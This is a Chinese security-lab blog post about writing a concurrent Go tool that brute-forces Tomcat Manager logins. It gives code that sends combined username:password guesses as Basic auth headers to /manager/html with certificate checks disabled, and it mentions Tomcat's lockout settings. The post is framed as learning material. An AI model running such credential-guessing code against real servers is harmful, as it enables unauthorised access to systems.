点击蓝字,关注我们
日期:2022-07-04 作者:goout 介绍:本来想写个高并发爆破小工具,奈何刚好和系统机制冲突,踩了一次坑。 一定要看到结尾!
0x00 前言
事情是这样的:
前几天参加某比赛,过程中遇到了几个 Tomcat
的界面,从 github
搜了一下,Tomcat
爆破的脚本不多,大部分的脚本都是 python
写的,部分是单线程,部分扫描结果不准确,还有一部分没有任何反应,go
语言的一个都没有找见,burp
的爆破,设置又稍微麻烦,需要先组合好字典,再 base64
编码进行爆破,所以比赛结束后,在一天的下午,开心的撸着狗,写出了高并发的过程,然而结果并不美好……
写完之后我在 vps
搭建了场景进行爆破,在测试过程中,一直设置线程为 10
,慢慢的就发现,如果前十个账密没有爆破出来账密,后面就全部会账号密码错误,我一直以为是 vps
上的 docker
环境抗压问题导致的爆破不出来,后来又在本地及 vps
直接搭建 tomcat
的服务,还是一样的结果:依旧是字典中的前十个账密如果能爆破出来,输出正常;如果爆破不出来,则后续所有的账密皆为失败。
当我在自我怀疑工具写的是否有问题的时候,有位大佬笑说我们踩了他踩过的坑,tomcat
为了安全性限制密码最大错误尝试次数,除非手动解除,否则多次爆破后,正确的账密也登录不上。
后来查询资料:
可以增加两个属性 failureCount
允许错误次数和 lockOutTime
锁定时间,编辑 server.xml
增加两个属性:
failureCount=10000000000
lockOutTime=0
所以本文章仅为 go
语言的高并发提供思路吧,大家智者见智,旨在学习~
0x01 线程并发
1.1 go 语言并发
什么是 go
语言并发:
1.并发:多线程程序在单核心的 cpu 上运行,称为并发,但go语言在1.8版本之后都是多核运行。
2.协程:独立的栈空间,共享堆空间,调度由用户自己控制,本质上有点类似于用户级线程,这些用户级线程的调度也是自己实现的。
3.线程:一个线程上可以跑多个协程,协程是轻量级的线程。
4.goroutine:是一种非常轻量级的实现,可在单个进程里执行成千上万的并发任务,它是Go语言并发设计的核心。
5.channel:Go语言在语言级别提供的 goroutine 间的通信方式。我们可以使用 channel 在两个或多个 goroutine 之间传递消息。
go
语言并发的优势:
1.并发能更客观地表现问题模型;
2.并发可以充分利用 CPU 核心的优势,提高程序的执行效率;
3.并发能充分利用 CPU 与其他硬件设备固有的异步性。
下面开始编写脚本。
1.2 组合字典
组合字典,赋予数组。
//组合账密
for _,name :=range names{
for _,pass := range passwds{
key :=name + ":" + pass
keys = append(keys,key)
}
}
那么为什么我们要将组合的账号密码传输给管道呢?是因为考虑到,就算在工作过程中遇到了多个url
,也不会数值过于庞大,而密码除了默认的 top1000
外,有些用户自定义添加更多的密码时,可以优化爆破的频率,使爆破时间大幅度降低数倍。
1.3 设置账密的管道
设置管道 (keyChan)
的长度为 key
(组合后的账密)的长度,close()
是必须要加的,如果不加 close()
, read
就会阻塞,程序中所有的协程都被阻塞,其他管道无法写入,也无法读取,系统这时候检测到这种错误就会报错。
//设置字典管道
keyChan:= make(chan string, len(keys))
//生产者
for _,key :=range keys{
keyChan <- key
}
close(keyChan)
1.4 爆破函数
1)为了避免 https
网站证书验证的问题,这里使用了 github.com/go-resty/resty/v2
,并未使用官方的 net/http
,因为发现高并发时扫描到一个无法访问的网站时,会直接卡死。
2)设置请求头 Authorization
的爆破体内容。
3)设置等待组:wg *sync.WaitGroup
。
func BurpOne (keyChan <- chan string,wg *sync.WaitGroup,url string) {
for key:= range keyChan{
//取消https证书验证
//get请求
client := resty.New().SetTimeout(10 * time.Second).SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})
resp, err := client.R().
SetHeader("Authorization", " Basic "+ base64.StdEncoding.EncodeToString([]byte(key))).
Get(url+"/manager/html")
if err != nil {
fmt.Println(err)
os.Exit(0)
}
//获取响应包的状态码
respCode := resp.StatusCode()
if respCode == 200 {
fmt.Println(url,"爆破成功,账号密码为:",key)
Write("[+] "+url+"爆破成功,账号密码为:"+key)
break
}else {
fmt.Println("[-] "+url+" 账户密码错误:",key)
}
}
//消费完必须调用done,减少线程的等待
wg.Done()
}
1.5 设置线程并发
1)等待组和管道共同设置线程;
2)wg.Wait()
:主函数等待协程并发完后,再继续运行;
//设置线程阻塞
wg.Add(threads)
//消费者
for i:=0; i<threads; i++{
go config.BurpAll(keyChan,&wg,v)
}
wg.Wait()
到这里,基本的并发爆破功能已经写完,下面再添加一些小功能。
0x02 完善功能
2.1 读取文件
该函数用来读取爆破的 username
、password
、urllist
文件。
func ReadFile(fileName string) []string {
list, err := os.Open(fileName)
if err != nil {
fmt.Printf("Open %s error, %v", fileName, err)
//os.Exit(0)
}
defer list.Close()
var lists []string
scanner := bufio.NewScanner(list)
scanner.Split(bufio.ScanLines)
var text string
for scanner.Scan() {
text = strings.TrimSpace(scanner.Text())
lists = append(lists, text)
}
return lists
}
2.2 结果写入
该函数用来讲批量爆破的 url
结果输出到指定文件中。
func Write(output string) {
//如果没有test.txt这个文件那么就创建,并且对这个文件只进行写和追加内容。
file, err := os.OpenFile("./result.txt", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
if err != nil {
fmt.Printf("文件错误,错误为:%vn", err)
return
}
defer file.Close()
str := output + "n"
file.Write([]byte(str)) //将str字符串的内容写到文件中,强制转换为byte,因为Write接收的是byte。
}
0x03 总结
这个小工具无法运用到正式工作中,分享出来仅提供思路,可以运用到目录爆破、端口探测等其他用途上,潜心学安全,有什么意见或者建议,大家友好交流~
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
Cyber Security Lab
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
原文始发于微信公众号(宸极实验室):『杂项』一次撞了南墙的 go 语言高并发小工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论